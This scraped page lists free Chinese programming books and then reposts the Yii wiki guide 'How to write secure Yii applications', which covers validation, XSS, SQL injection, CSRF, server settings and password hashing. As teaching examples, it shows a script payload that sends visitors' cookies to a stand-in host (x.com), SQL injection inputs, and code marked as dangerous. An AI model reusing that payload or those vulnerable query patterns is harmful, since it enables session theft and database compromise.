(译本一 译本二) Material Design 中文版 Google Android官方培训课程中文版 Android学习之路 Android开发技术前线(android-tech-frontier) Point-of-Android Android 一些重要知识点解析整理 Android6.0新特性详解 APP Apache Cordova 开发指南 AWK awk程序设计语言 awk中文指南 C/C++ C/C++ 中文参考手册 (欢迎大家参与在线翻译和校对) C 语言编程透视 C++ 并发编程指南 Linux C编程一站式学习 (宋劲杉, 北京亚嵌教育研究中心) CGDB中文手册 100个gdb小技巧 100个gcc小技巧 ZMQ 指南 How to Think Like a Computer Scientist (中英文版) 跟我一起写Makefile(PDF) GNU make中文手册 GNU make 指南 Google C++ 风格指南 C/C++ Primer (by @andycai) 简单易懂的C魔法 Cmake 实践 (PDF版) C++ FAQ LITE(中文版) C++ Primer 5th Answers C++ 并发编程(基于C++11) QT 教程 DevBean的《Qt学习之路2》(Qt5) C++ Template 进阶指南 libuv中文教程 Boost 库中文教程 笨办法学C C# MSDN C# 中文文档 .NET 类库参考 ASP.NET MVC 5 入门指南 超全面的 .NET GDI+ 图形图像编程教程 .NET控件开发基础 .NET开发要点精讲(初稿) Clojure Clojure入门教程   CSS/HTML   学习CSS布局 通用 CSS 笔记、建议与指导 CSS参考手册 Emmet 文档 前端代码规范 (腾讯 AlloyTeam 团队) HTML和CSS编码规范 Sass Guidelines 中文 CSS3 Tutorial 《CSS3 教程》 MDN HTML 中文文档 MDN CSS 中文文档 Dart Dart 语言导览 Elixir Elixir编程入门 Erlang 21天学通Erlang Fortran Fortran77和90/95编程入门 Go Go编程基础 Go入门指南 学习Go语言 Go Web 编程 (此书已经出版,希望开发者们去购买,支持作者的创作) Go实战开发 (当我收录此项目时,作者已经写完第三章,如果读完前面章节觉得有帮助,可以给作者捐赠,以鼓励作者的继续创作) Network programming with Go 中文翻译版本 Effective Go Go 语言标准库 Golang标准库文档 Revel 框架手册 Java程序员的Golang入门指南 Go命令教程 Go语言博客实践 Go 官方文档翻译 深入解析Go Go语言圣经(中文版) (GitBook) Groovy 实战 Groovy 系列 Haskell Real World Haskell 中文版 Haskell趣学指南 iOS iOS开发60分钟入门 iOS7人机界面指南 Google Objective-C Style Guide 中文版 iPhone 6 屏幕揭秘 Apple Watch开发初探 马上着手开发 iOS 应用程序 网易斯坦福大学公开课:iOS 7应用开发字幕文件 Java Apache Shiro 用户指南 Jersey 2.x 用户指南 Spring Framework 4.x参考文档 Spring Boot参考指南 (翻译中) MyBatis中文文档 MyBatis Generator 中文文档 用jersey构建REST服务 Activiti 5.x 用户指南 Google Java编程风格指南 Netty 4.x 用户指南 Netty 实战(精髓) REST 实战 Java 编码规范 Apache MINA 2 用户指南 H2 Database 教程 Java Servlet 3.1 规范 JSSE 参考指南 Java开源实现及最佳实践 Java 编程要点 Think Java Java 8 简明教程 JavaScript Google JavaScript 代码风格指南 Google JSON 风格指南 Airbnb JavaScript 规范 JavaScript 标准参考教程(alpha) Javascript编程指南 (源码) javascript 的 12 个怪癖 JavaScript 秘密花园 JavaScript核心概念及实践 (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者) 《JavaScript 模式》 “JavaScript patterns”中译本 命名函数表达式探秘 (注:原文由为之漫笔翻译,原始地址无法打开,所以此处地址为我博客上的备份) 学用 JavaScript 设计模式 (开源中国) 深入理解JavaScript系列 ECMAScript 5.1 中文版 ECMAScript 6 入门 (作者:阮一峰) JavaScript Promise迷你书 You-Dont-Know-JS (深入JavaScript语言核心机制的系列图书) JavaScript 教程 廖雪峰 MDN JavaScript 中文文档 jQuery jQuery 解构 简单易懂的JQuery魔法 How to write jQuery plugin You Don't Need jQuery 如何实现一个类jQuery? Node.js Node入门 七天学会NodeJS Nodejs Wiki Book (繁体中文) express.js 中文文档 koa 中文文档 一起学koa 使用 Express + MongoDB 搭建多人博客 Express框架 Node.js 包教不包会 Learn You The Node.js For Much Win! (中文版) Node debug 三法三例 nodejs中文文档 orm2 中文文档 underscore.js Underscore.js中文文档 backbone.js backbone.js中文文档 backbone.js入门教程 (PDF) Backbone.js入门教程第二版 Developing Backbone.js Applications(中文版) AngularJS AngularJS最佳实践和风格指南 AngularJS中译本 AngularJS入门教程 构建自己的AngularJS 在Windows环境下用Yeoman构建AngularJS项目 Zepto.js Zepto.js 中文文档 Sea.js Hello Sea.js React.js React.js 中文文档 React webpack-cookbook React 入门教程 React Native 中文文档(含最新Android内容) Learn React & Webpack by building the Hacker News front page impress.js impress.js的中文教程 CoffeeScript CoffeeScript Cookbook The Little Book on CoffeeScript中文版 CoffeeScript 编码风格指南 TypeScipt TypeScript Handbook ExtJS Ext4.1.0 中文文档 Meteor Discover Meteor Meteor 中文文档 Angular-Meteor 中文教程 Chrome扩展及应用开发 LaTeX 一份其实很短的 LaTeX 入门文档 一份不太简短的 LATEX 2ε 介绍 (PDF版) LISP Common Lisp ANSI Common Lisp 中文翻譯版 On Lisp 中文翻译版本 Scheme Yet Another Scheme Tutorial Scheme入门教程 Scheme语言简明教程 Racket Racket book Lua Lua编程入门 Lua 5.1 参考手册 中文翻译 Lua 5.3 参考手册 中文翻译 Lua源码欣赏 OCaml Real World OCaml Perl Modern Perl 中文版 Perl 程序员应该知道的事 PHP PHP 官方手册 PHP调试技术手册(PDF) PHP之道:php-the-right-way (@wulijun版 PHPHub版) PHP 最佳实践 PHP 开发者实践 深入理解PHP内核 PHP扩展开发及内核应用 Laravel5.1 中文文档 Laravel 5.1 LTS 速查表 Symfony2 Cookbook 中文版(版本 2.7.0 LTS) Symfony2中文文档 (未译完) YiiBook几本Yii框架的在线教程 深入理解 Yii 2.0 Yii 框架中文文檔 简单易懂的PHP魔法 swoole文档及入门教程 Composer 中文网 Slim 中文文档 Lumen 中文文档 PHPUnit 中文文档 Prolog 笨办法学Prolog Python 廖雪峰 Python 2.7 中文教程 廖雪峰 Python 3 中文教程 简明Python教程 零基础学 Python 第一版 零基础学 Python 第二版 可爱的 Python Python 2.7 官方教程中文版 Python 3.3 官方教程中文版 Python Cookbook 中文版 Python3 Cookbook 中文版 深入 Python 深入 Python 3 PEP8 Python代码风格规范 Google Python 风格指南 中文版 Python入门教程 (PDF) 笨办法学 Python (PDF EPUB) Python自然语言处理中文版 (感谢陈涛同学的翻译,也谢谢@shwley 联系了作者) Python 绘图库 matplotlib 官方指南中文翻译 Scrapy 0.25 文档 ThinkPython ThinkPython 2ed Python快速教程 Python 正则表达式操作指南 python初级教程:入门详解 Twisted 与异步编程入门 TextGrocery 中文 API ( 基于svm算法的一个短文本分类 Python 库 ) Requests: HTTP for Humans Pillow 中文文档 PyMOTW 中文版 Python 官方文档中文版 Fabric 中文文档 Beautiful Soup 4.2.0 中文文档 用Python做科学计算 Sphinx 中文文档 精通 Python 设计模式 python 安全编程教程 程序设计思想与方法 知乎周刊·编程小白学Python Scipy 讲义 Python 学习笔记 基础篇 Python 学习笔记 模块篇 Python 标准库 中文版 Python进阶 Python 核心编程 第二版 CPyUG译 Python最佳实践指南 Python 精要教程 Python 量化交易教程 Django Django 1.5 文档中文版 正在翻译中 Diango 1.7 文档中文版 正在翻译中,目前只翻译了目录 Django 1.8.2 文档中文版 正在翻译中 Django 最佳实践 Django搭建简易博客教程 The Django Book 中文版 Django 设计模式与最佳实践 Django 网站开发 Cookbook Django Girls 學習指南 Flask Flask 文档中文版 Jinja2 文档中文版 Werkzeug 文档中文版 Flask之旅 Flask 扩展文档汇总 Flask 大型教程 SQLAlchemy 中文文档 web.py web.py 0.3 新手指南 Web.py Cookbook 简体中文版 Tornado Introduction to Tornado 中文翻译 Tornado源码解析 Tornado 4.3 文档中文版 R R语言忍者秘笈 Ruby Ruby 风格指南 Rails 风格指南 笨方法學 Ruby Ruby on Rails 指南 Ruby on Rails 實戰聖經 Ruby on Rails Tutorial 原书第 3 版 (本书网页版免费提供,电子版以 PDF、EPub 和 Mobi 格式提供购买,仅售 9.9 美元) Rails 实践 Rails 5 开发进阶(Beta) Rails 102 编写Ruby的C拓展 Ruby 源码解读 Ruby中的元编程 Rust rust book 中文翻译 rust primer Scala Scala课堂 (Twitter的Scala中文教程) Effective Scala(Twitter的Scala最佳实践的中文翻译) Scala指南 Shell Shell脚本编程30分钟入门 Bash脚本15分钟进阶教程 Linux工具快速教程 shell十三问 Shell编程范例 Swift The Swift Programming Language 中文版 Swift 语言指南 Stanford 公开课,Developing iOS 8 Apps with Swift 字幕翻译文件 C4iOS - COSMOS 读书笔记及其它 编译原理(紫龙书)中文第2版习题答案 把《编程珠玑》读薄 Effective C++读书笔记 Golang 学习笔记、Python 学习笔记、C 学习笔记 (PDF) Jsoup 学习笔记 学习笔记: Vim、Python、memcached 图灵开放书翻译计划--C++、Python、Java等 蒂姆·奥莱利随笔 (由译言网翻译,电子版免费) SICP 解题集 精彩博客集合 中文文案排版指北 Standard C 语言标准函数库速查 (Cheat Sheet) Git Cheatsheet Chs GitBook简明教程 JavaScript语言精粹 制造开源软件 提问的智慧 Markdown 入门参考 AsciiDoc简明指南 背包问题九讲 老齐的技术资料 前端技能汇总 借助开源项目,学习软件开发 前端工作面试问题 leetcode/lintcode题解/算法学习笔记 前端开发笔记本 测试相关 移动APP自动化测试优秀框架Appium API Reference V1.2.0 CN 在线教育 51CTO学院 Codecademy CodeSchool Coursera Learn X in Y minutes (数十种语言快速入门教程) shiyanlou TeamTreeHouse Udacity xuetangX 慕课网 (丰富的移动端开发、php开发、web前端、html5教程以及css3视频教程等课程资源) 极客学院 计蒜客 本文转自玄魂博客园博客,原文链接:http://www.cnblogs.com/xuanhun/p/6044143.html,如需转载请自行联系原作者
文章
JavaScript  ·  Java  ·  大数据  ·  Linux  ·  程序员  ·  C#  ·  Android开发  ·  C++  ·  Python
2017-12-11
How to write secure Yii applications
http://www.yiiframework.com/wiki/275/how-to-write-secure-yii-applications http://www.yiiframework.com/doc/guide/1.1/zh_cn/topics.security http://yjlblog.com/yii%e6%a1%86%e6%9e%b6%e5%bc%80%e5%8f%91%e5%ae%89%e5%85%a8%e8%80%83%e8%99%91/ warning:   While this security guide  tries to be quite complete, is not exhaustive.  If security matters for you, you ought to check several other references. General principles ¶ Validate the user input (see below for details). Protect (escape) your application output according to context (see below for a few output types, mostly HTML and SQL). Test your application in debug mode. Set the constant YII_DEBUG to true (by default, it is defined in index.php) and put alongside error_reporting(E_ALL);. Then errors and warnings will stop the execution and Yii will display the message, the source code and the call stack. Even an undefined key in an array (which is just a "E_NOTICE" level) can cause security problems. Disable the debug mode in production. Make sure your error messages don't contain sensitive information. Whenever possible, filter by white-list instead of by black-list, i.e. allow only data that is in an authorized list. In production, keep logs. Parse them regularly for warnings and errors. There are two levels of logs : application logs (handled by Yii) and server logs (handled by PHP and usually Apache). Yii logs are described inThe Definitive Guide to Yii, Logging. PHP logs are usually on by default. Please check your server configuration and your rights on the file system for accessing these log files. Validating the user input ¶ How it works ¶ If a user can add its birth date to its profile, you have to make sure he gives a valid date. It's not only helpful to prevent mistypes, it also provides better security. Verifying the input is in the form "1951-01-25" will forbid dangerous texts that try to attack your database's SQL or your website's HTML. Validation is not a perfect protection, but it's an excellent first step. Client-side validation ¶ Validating a form with JavaScript has absolutely no impact on the security! It should only be meant as a way to enhance the interface and its comfort of use. The HTML restriction are the same. For instance, if a page has a form containing: <input type="hidden" name="id" value="1" /> <input type="text" name="date" size="10" /> <select name="list"><option>1</option><option>2</option></select> The data received in the PHP application can contain anything. The "id", "date" and "list" fields can be big strings or arrays. For example, a user can modify the HTML source of the page to replace both fields by text areas. How Yii can help ¶ Yii provides specific ways that can be used instead or along the usual PHP ways. For reference, the recommended way without Yii is mostly to use type casts and theFilter extension. Validating through a model Most of the times, the user input will be sent to a model. Models will generally extendCFormModel or CActiveRecord. Both of them derive from the classCModel. This class has a methodrules() that declares how the validation will process. The additional tests can be done with behaviors or thebeforeValidate() method. The controller: <?php // In the controller $model = new Comment; $model->attributes = $_POST['Comment']; if ($model->save()) { // validates and save $this->redirect(array('view', 'id' => $model->id)); } else { // Could not validate, or could not save } The model: <?php // In the model class Comment extends CActiveRecord { public function rules() { return array( array('parent', 'numerical', 'integerOnly' => true), array('strangedata', 'customValidateForStrangedata'), array('description', 'length', 'max' => 255), ); } // extended validation, run before the rules set above protected function beforeValidate() if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) { $this->addError("description", "Odd number of quotes"); // return false; // stop validation } return parent::beforeValidate(); } /** @return boolean Continue the validation process? */ protected function customValidateForStrangedata($attribute, $params) { $this->addError($attribute, "validation failed"); return false; } You should pay extra care to your validation. It keeps your data clean, and that not only useful for security. Many kind of rules are already declared, and you can add your own. You can also apply some rules only in a given context, e.g. validate a field only when the record is modified ("update" scenario"), not when the record is created ("insert" scenario). To go further: The Definitive Guide to Yii 1.1: Form Models, declaring validation rules The Definitive Guide to Yii 1.1: Active Record, data validation Wiki: Reference: Model rules validation API: CModel Yii 1.1 validator cheat-sheet Validating in a controller Some light user input will be handled directly by the controller. In this case,you should use a PHP type cast. This happens frequently for numeric IDs where you should use(int). <?php // insecure (see below for restrictions) $model = Post::model()->findByPk($_GET['id']); // secure $model = Post::model()->findByPk((int) $_GET['id']); If the input is not expected to be an integer, then consider making go through a model validation. Side note on the last example In fact, Yii will help, even in the first case. The method findByPk() uses the table schema to ensure that a numeric column only gets numeric criteria. See theSQL Injection section for more details. Yet, there are cases where this automatic protection might not be enough. What if a malicious user enters the querycomment/delete?id[]=2\&id[]=1? Then $_GET['id'] would become an array, and if this id is not validated, it can induce strange effects, and possible security breaches (but not withfindByPk). HTML output and XSS ¶ If the application prints unfiltered user input inside a HTML page, then it allows a malicious user to change the display of this page, and to inject client code (usually JavaScript) that can be run by other users. One typical use of these XSS attacks is to steal user sessions. One note on vocabulary: filtering data for security concerns is often called escaping. Example ¶ Here is a extract of a view. The page just shows a user profile. < h2>Profile of <?php echo $user->name ?></h2> Other unfiltered outputs: <a href="/posts?name=<?php echo $user->login ?>" title='<?php echo $user->name ?>'>See my posts</a> Now suppose the user's name is: Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script> Then everyone that consults this profile will send an HTTP request for an external image, and this request will contain data describing the visitor's cookies. PHP provides several functions that protect the output. The most useful one ishtmlspecialchars() but just in the example above, rawurlencode() andhtmlspecialchars(, ENT_QUOTES) would also be necessary. How Yii can help ¶ Plain text If you want to print plain text in a HTML page, use CHtml::encode(). Here is an example: <h2>Profile of <?php echo CHtml::encode($user->name) ?></h2> This function is in fact a wrapper on htmlspecialchars() with your application's characters set (to be exact, it's not a charset but a character encoding). So if your texts are not (yet) in UTF-8, you should declare a charset in the global config (e.g. 'charset' => 'ISO-8859-1' in the first level of "protected/config/main.php"). You may want to apply strip_tags(), to remove HTML/XML tags before escaping. Beware, this function is not secure, so do not use it withoutCHtml::encode(). Rich text (HTML) If you want to allow HTML in the user input, then you have to display it raw. Soyou should filter the HTML data (before saving it or after reading it, at your choice, though the former is recommended for performance reasons). Do not try to filter it yourself, several PHP libraries already exist. The most well-known isHtml Purifier, and it has been incorporated in Yii. For details, see the sectionSecurity, XSS in "The Definitive Guide to Yii". <li class="comments"> <?php $purifier = new CHtmlPurifier(); $purifier->options = array( 'HTML.Allowed', 'p,a[href],b,i', ); foreach (Comment::model()->findAll() as $comment) { // This can be dangerous //echo "<li>" . $comment->text . "</li>\n"; // Safe output (but slow) echo "<li>" . $purifier->purify($comment->text) . "</li>\n"; } ?> </li> Allowing the user to enter HTML text can be useful, especially with Rich Text Editors like TinyMCE or FckEditor, but you may alsoconsider using templating languages, like Markdown or wiki syntax. Regarding security, the benefit is that the application converts to HTML, so the risk of XSS is low. To go further: HTML Purifier's doc. The end-user documentation contains a few thematic tutorials, like"Customize". TheConfiguration Reference lists all the options you can use withCHtml::Purifier but it lacks examples. CMarkdown Special cases: URLs, CSS, etc ¶ URL To escape a string in an URL: use rawUrlEncode() for url parts, use urlEncode() for url parameters. Here is an example of several cases in JavaScript and HTML: <script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script> <a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a> <a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a> <a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a> CHtml::encode() cannot be used alone here because it could produce an invalid URL, for example with $query = '?x="N & B"'. But it cannot be removed since ampersands "&" have to be replaced by "&". CSS ¶ Use Html Purifier. See the section on "Rich text (HTML)". JavaScript ¶ If you need to write from PHP to JavaScript, you should use the static methods ofCJavaScript. <?php $messages = array("Rock'n roll", 'Say "hello"'); $title = "D'accord"; Yii::app()->clientScript->registerScript('snippet', " function displayMsg() { var messages = <?php echo CJavaScript::encode($messages); ?>; var title = '<?php echo CJavaScript::quote($title); ?>'; // ... } "); There is a special case where you do not want Yii to quote a string that is already valid in JS. In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged. <?php $this->widget( 'zii.widgets.jui.CJuiAutoComplete', array( 'name' => 'field_name', // Yii applies CJavaScript::quote to each value 'source' => 'js:function(request, response) { $.ajax({...}) }', // "js:" before the JS code SQL Injections ¶ How it works ¶ When some user data is put unfiltered in a SQL query, it allows a malicious user to send its own SQL in the query. <?php // warning, dangerous code Yii::app()->db ->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id']) ->execute(); $comments = Comment::model->findAll("user_id = " . $_GET['id']); If the GET parameter id is "4 OR 1=1" then someone who has the right to delete comment #4 will probably be able to delete all the other comments (it depends on how the authorization is granted, but that's another story). In the second request, it would be possible to read the content of the whole DB with input like "2 UNION SELECT ...". How Yii can help ¶ Use a PHP syntax instead of raw SQL Instead of the code of the example above, what follows is far more secure: <?php // still lacks validation (see "Validating user input" above), but more secure MyModel::model()->findByPk($_GET['id'])->delete(); // uses validation with a type cast $comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']); This is a general principle: if you build your SQL condition in pure text, you take more risks than a more PHP approach. For most DB functions,prefer array parameters to string parameters. Here is another example using PHP arrays: <?php // warning: potential sql injection $comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")"); // secure (note how an array value is gives a "IN" since Yii $comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids)); Prepared statements The are still cases where writing raw SQL is needed. Consider a simple query that has 2 parameters: SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date FROM t_comment WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%' There are 2 ways to secure this: Escape each parameter (not recommended). Use a prepared statement (recommended). If you really want to escape each parameter, you can use CDbConnection::quoteValue(). For example, "date > '{$date}'" would become"date > " . Yii::app()->db->quoteValue($date). Prepared statements is a way to declare parameters in your SQL. Depending on your configuration, the incomplete query will be compiled by the SQL server, then the values will be inserted at the right places (the actual behavior may vary because this process could be emulated from PHP, especially if the SQL engine doesn't allow it). Prepared statements removes any risk of SQL injection in the parameters. (Yet, beware, not everything is a parameter). There are two ways to write this in Yii: <?php // Note the parameters are written :param without surrounding quotes $sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date " . "FROM t_comment " . "WHERE (date > :date OR date IS NULL) AND title LIKE :text" // 1st way, using explicit binds $command = Yii::app()->db->createCommand($sql); $command->bindParam(":date", $date, PDO::PARAM_STR); $command->bindParam(":text", "%{$text}%", PDO::PARAM_STR); $results = $command->execute(); // second way $command = Yii::app()->db->createCommand($sql); $results = $command->execute(array(':date' => $date, ':text' => "%{$text}%")); The first syntax with explicit bindings is a bit heavier, but it has the advantage of defining the parameter's type. When retrieving models from the DB, the syntax is simple: <?php $comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%")); If you don't feel at ease with the Yii way to query databases, please read the whole tutorialWorking with Databases in "The Definitive Guide to Yii". The sectionDatabase Access Objects has more details on binding parameters. Side note on LIKE conditions Even if no SQL injection in possible in the previous queries, there is still room for improvement. The SQL functionLIKE has a special treatment for the characters "_" and "%". In many cases, this is not a problem, with mostly unexpected results. But if the data queried is huge, then transforming a"begin%" condition into "%s%a%" condition can make the query so heavy that it slows the SQL server, because no index can be used for the later. Soyou should protect the characters "%" and "_" when the user input is going into a LIKE condition, for example withstr_replace(). See further for example of how CDbCriteria::compare() or CDbCriteria::addSearchCondition() can simplify this. Side note on positional parameters As of now (Yii 1.1.8), the framework does not recognized positional parameters marked with "?". You have to usednamed parameters whose names begin with ":". Side note on performance A lone prepared statement is a bit slower than a non prepared one. This is probablynot a performance bottleneck for your application. But if you want to run several times the same query with variable bound parameters, then the prepared statements will be faster. Of course, none of this does apply when PHP emulates preparation. When prepared statements aren't enough As written above, prepared statements remove any risk of SQL injection in the parameters. Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements. SELECT * FROM {$mytable} WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date} ORDER BY {$myfield} LIMIT {$mylimit} The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part. But Yii provide several ways to help. The first one is that Yii knows your DB schema, so you can write: <?php if (!Comment::model()->hasAttribute($myfield)) { die("Error"); } A very specific solution to build a secure SQL query is to use the "Query Builder", available since Yii 1.1.6. This is a way to write a complete SQL query in pure PHP, but it cannot be mixed with other approaches (raw SQL, CDbCriteria, etc). See the sectionQuery Builder in "The Definitive Guide to Yii". Most of the time, your expected result is to be parsed as models, so you can usefind*() methods with CDbCriteria to build a more secure query. For example: <?php // Yii applies some validity checks when the query is not raw SQL $criteria = new CDbCriteria( array( 'order' => $myfield, 'limit' => $mylimit, ) ); $criteria->compare($myfield, $value, true); // LIKE % escaped($value) % $criteria->compare('post_date', '<:date'); $criteria->params = array(':value' => $value, ':date' => $date); $comments = Comment::model()->findAll($criteria) This is especially useful if you intend to use CGridView which is what Gii (the official scaffolding tool) suggests. CGridView expects a CDataProvider which uses CDbCriteria, so you don't have to pay too much attention to the user search input. To be complete, here is another syntax for the previous example: <?php // Yii applies some validity checks when the query is not raw SQL $criteria = new CDbCriteria(); $criteria->order = $myfield; $criteria->limit = $mylimit; $criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%' $criteria->addCondition("post_date < :date"); $comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date)); Summary on SQL injection ¶ In the following lists, the firsts choices are the easiest to secure, but it doesn't mean the last items are not secure. When results are models, chose the first element of the list that matches your needs: CActiveRecord::findByPk() orCActiveRecord::findAllByPk() CActiveRecord::findByAttributes() orCActiveRecord::findAllByAttributes() X::model()->find($criteria, array(':param1' => $value1)) or ->findAll(...) X::model()->find($sql, array(':param1' => $value1)) or ->findAll(...) X::model()->findBySql($sql, array(':param1' => $value1)) or ->findAll(...) When results are not model, use prepared statements: <?php $r = Yii::app()->db ->createCommand($sql) ->queryAll(array(':param1' => $value1)); And don't forget to validate the input before this! Cross-site Request Forgery (CSRF) ¶ See The Definitive Guide to Yii, CSRF. Please note that HTTP requests that modify the server state (create, update, delete) should be with the POST protocol. This is a good practice, as recommended by REST, and it helps web browser to prevent accidental re-send of these requests. But a POST request in itself does not prevent CSRF, it provides almost no improvement on security. Fortunately, Yii has a mechanism (disabled by default) that can be used to protect them from forgery. Configure the web server ¶ This section will only consider a UNIX (Linux, BSD, OSX) web server Apache with PHP as a module. Other configurations (Windows, nginx, PHP-fpm, etc) may require different settings, though the principles are the same. Set up different environments ¶ When Yii runs with the constant YII_DEBUG set to true, it can show valuable information to an attacker (setting aside the performance penalty). For instance, suppose an attacker finds a validation miss in your application: when a form is spoofed to send an array value in a field, a PHP function will receive incorrect parameters. In debug mode, Yii will then print the call stack, with the context of each call made in user code. Unfortunately, by default the debug mode is set up in the index.php file of your application. So the code has to be changed when running a development, a testing or a production instance. One solution can be to use a DVCS to track local changes and rebase them (fast-forward in git jargon). The drawback is that the various configurations are handled locally, in several branches. The recommended solution is to rewrite the index.php file so that it reads the debug configuration: from an external file, or from the web server environment. Apache can set environment variables with the syntax SetEnv YII_ENV testing This can be set in the global configuration files (in a VirtualHost or Directory), or in a.htaccess file. Then PHP can access this variable through $_SERVER["YII_ENV"] and default to "production mode" if it isn't set. For a Yii application ¶ The directory containing the framework should not be under the document root of your server (there is no reason a user could access to files like "yiilite.php" in its web browser). Three directories must be writable by the web server: "assets", "protected/data" and "protected/runtime".The web server should only have read access to everything else. This way, an attacker could only create/modify a file in these directories. The folder "assets" is especially dangerous since it is writable, and there is a direct HTTP access to it. Therefore, the PHP files it contains should not be interpreted but treated as plain text (see the example below). Yii's default application have ".htaccess" files to forbid direct web access to "protected/" and "themes/classic/views/". It is a bit safer (and faster) to put this configuration in the global configuration of Apache. Here is an example that also disables PHP files in "assets/". [apache] # Example config for Yii-myapp and Apache # Please set the pathes to their right values # put the application in some custom url # (instead of an Apache alias, a symbolic link can be used) Alias /web/path/for/myapp "/home/myapp/www" <Directory "/home/myapp/www"> AllowOverride None </Directory> <Directory "/home/myapp/www/protected"> Deny from All </Directory> <Directory "/home/myapp/www/assets"> php_admin_flag engine off Options -Indexes </Directory> Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host. [apache] # Example config for Yii-myapp as an Apache VirtualHost # Please set the pathes to their right values <VirtualHost *:80> ServerName myapp.com DocumentRootAlias /home/myapp/www ErrorLog /var/log/apache2/myapp-error.log CustomLog /var/log/apache2/myapp-access.log common <Directory "/home/myapp/www"> AllowOverride None php_flag register_globals Off php_flag gpc_magic_quotes Off # <IfModule mod_rewrite.c> # # The following block is for masking "index.php" in the url # # We also need to configure the app: urlManager.showScriptName = false # Options +FollowSymLinks # IndexIgnore */* # RewriteEngine on # RewriteCond %{REQUEST_FILENAME} !-f # RewriteCond %{REQUEST_FILENAME} !-d # RewriteRule . index.php # </IfModule> </Directory> <Directory "/home/myapp/www/protected"> Deny from All </Directory> <Directory "/home/myapp/www/assets"> php_admin_flag engine off Options -Indexes </Directory> </VirtualHost> For every PHP project ¶ A few useful directives:   Directive Comment allow_url_include Should be off (PHP 5.2). register_globals This is obsolete and dangerous. Should be off. magic_quotes_gpc Important for many PHP applications, but Yii negates its effect. Should be off. open_basedir Can restrict PHP to access only some directories. Use with caution. display_errors Should be off in production. error_reporting Should always include at least E_ERRORS. See the official documentation.   This directives can be set in the global "php.ini" file. If Apache has AllowOverride Options, then ".htaccess" can be used. [apache] # .htaccess file php_flag display_errors off php_value error_reporting -1 One can also use php_admin_flag and php_admin_flag to set config parameters that can't be changed dynamically with ".htaccess" orini_set(). Here is an example in an Apache config file. [apache] # Apache config file <Directory "/var/www/myapp"> php_admin_value open_basedir /var/www/myapp/:/tmp/ </Directory> SSL is out of the scope of this wiki page. Authorization ¶ Authorization is ensuring users only have access to the resources they have permissions on. This is a lengthy subject, and Yii provides many useful classes to handle permissions and roles. To learn about this, please readThe Definitive Guide to Yii from  Access Control Filter to Using Business Rules. Another useful resource is in the wiki: Getting to Understand Hierarchical RBAC Scheme. For a more practical but limited case, seeCPhpAuthManager - how it works. There are also severalextensions that can help you to set up the authorization system of your application. Authentication ¶ Password strength ¶ The validation rule must reject any weak password. Writing its own validation method is easy: just require a minimum size, and check that different classes of characters are present. You can also use a ready-made solution, the extensionepasswordstrength. <?php class User extends CActiveRecord { public function rules() { return array( array('password', 'checkPasswordStrength'), ); } protected function checkPasswordStrength($attribute, $params) { $password = $this->$attribute; $valid = true; $valid = $valid && preg_match('/[0-9]/', $password); // digit $valid = $valid && preg_match('/\W/', $password); // non-alphanum // ... other rules ... $valid = $valid && (strlen($password) > 7); // min size if ($valid) { return true; } else { $this->addError($attribute, "Not secure enough"); return false; } } Providing a client-side validation in JavaScript can be useful, since the user will know immediately if its password is secure. But don't forget this must not replace the validation in PHP. In fact, it makes validation a bit harder because your PHP validation must be the same as your JS validation. To be precise, it can be weaker than the JS, but it has to follow similar criteria. There is also an extension for this,estrongpassword. Encrypting passwords ¶ This section considers only internal authentication, i.e. through passwords managed by the application. It does not consider LDAP, SSO, OpenID, or any other external service. If the authentication process is internal, then of course you shouldn't store the passwords in plain text. The easiest solution for encryption is to use the well-known libraryPHPass. With Yii, it can be as simple as the following "User" model: <?php // autoload "protected/lib/PasswordHash.php" Yii::import('application.lib.PasswordHash'); class User extends CActiveRecord { public function validatePassword($password) // $password is the user input { // Try to use stronger but system-specific hashes, with a possible fallback to // the weaker portable hashes. $hasher = new PasswordHash(8, FALSE); return $hasher->checkPassword($password, $this->password); } public function beforeSave() { // Replace the raw password with the hashed one if (isset($this->password)) { $hasher = new PasswordHash(8, FALSE); $this->password = $hasher->HashPassword($this->password); } return parent::beforeSave(); } What the library PHPass does is applying random salting, choosing the best encrypting algorithm available, iterating it a high number of times... Nothing really hard to code by oneself, but why reinvent the wheel. And the author is a security expert, he wrote the famous "john the ripper" password-cracking tool (the successor of Jack the ripper ;). If you want to know more on passwords, the home page of the library contains links toward technical articles and a few advanced recommendations. Useful Tools ¶ There are several tools that can detect potential security breaches in your application. First, some web security scanners: Skipfish. Well-documented, powerful and easy to run. Like any other scanner, it will detect some false-positive issues, be careful when interpreting. Nikto. This is probably the most well-known. W3af, Web Application Attack and Audit Framework. This is a package of security tools with a common interface. It has both a CLI and GUI. It comes with an extensive documentation. Then a scanner of a different type: RatProxy. This open-source tool is a proxy that will analyze your traffic to find potential security problems. There are many other security tools, but this should be more than enough for any beginner. And if you're experimented enough with web security, please contribute!  
文章
SQL  ·  Web App开发  ·  JavaScript  ·  前端开发  ·  PHP
2013-03-08
LNMPS PHP 团队开发 需要用到的相关工具(2016年11月更新)
